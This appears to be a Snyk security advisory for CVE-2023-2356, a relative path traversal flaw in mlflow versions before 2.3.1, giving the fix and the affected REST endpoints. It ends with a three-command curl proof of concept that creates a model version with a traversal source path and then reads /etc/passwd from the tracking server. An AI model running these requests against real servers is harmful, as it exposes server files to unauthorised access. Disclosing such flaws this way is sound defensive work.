Relative Path Traversal Affecting mlflow package, versions [,2.3.1)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-MLFLOW-5488283
- published 28 Apr 2023
- disclosed 28 Apr 2023
- credit Ben Wilson
Introduced: 28 Apr 2023
CVE-2023-2356 Open this link in a new tabHow to fix?
Upgrade mlflow
to version 2.3.1 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Relative Path Traversal such that by creating a model version through the REST API endpoint api/2.0/mlflow/registered-models/create
and specifying a relative path redirection to the source argument, local server files can be accessed on the tracking server when a subsequent REST API v1.1 call is made to model-versions/get-artifact
.
PoC
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/registered-models/create -H "Content-type: application/json" -d '{"name": "AModel"}'
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/model-versions/create -H "Content-type: application/json" -d '{"name": "AModel", "source": file://hostname/../../../../../../../}'
curl http://mlflowserver:5000/model-versions/get-artifact?path=etc/passwd&name=TestModel&version=1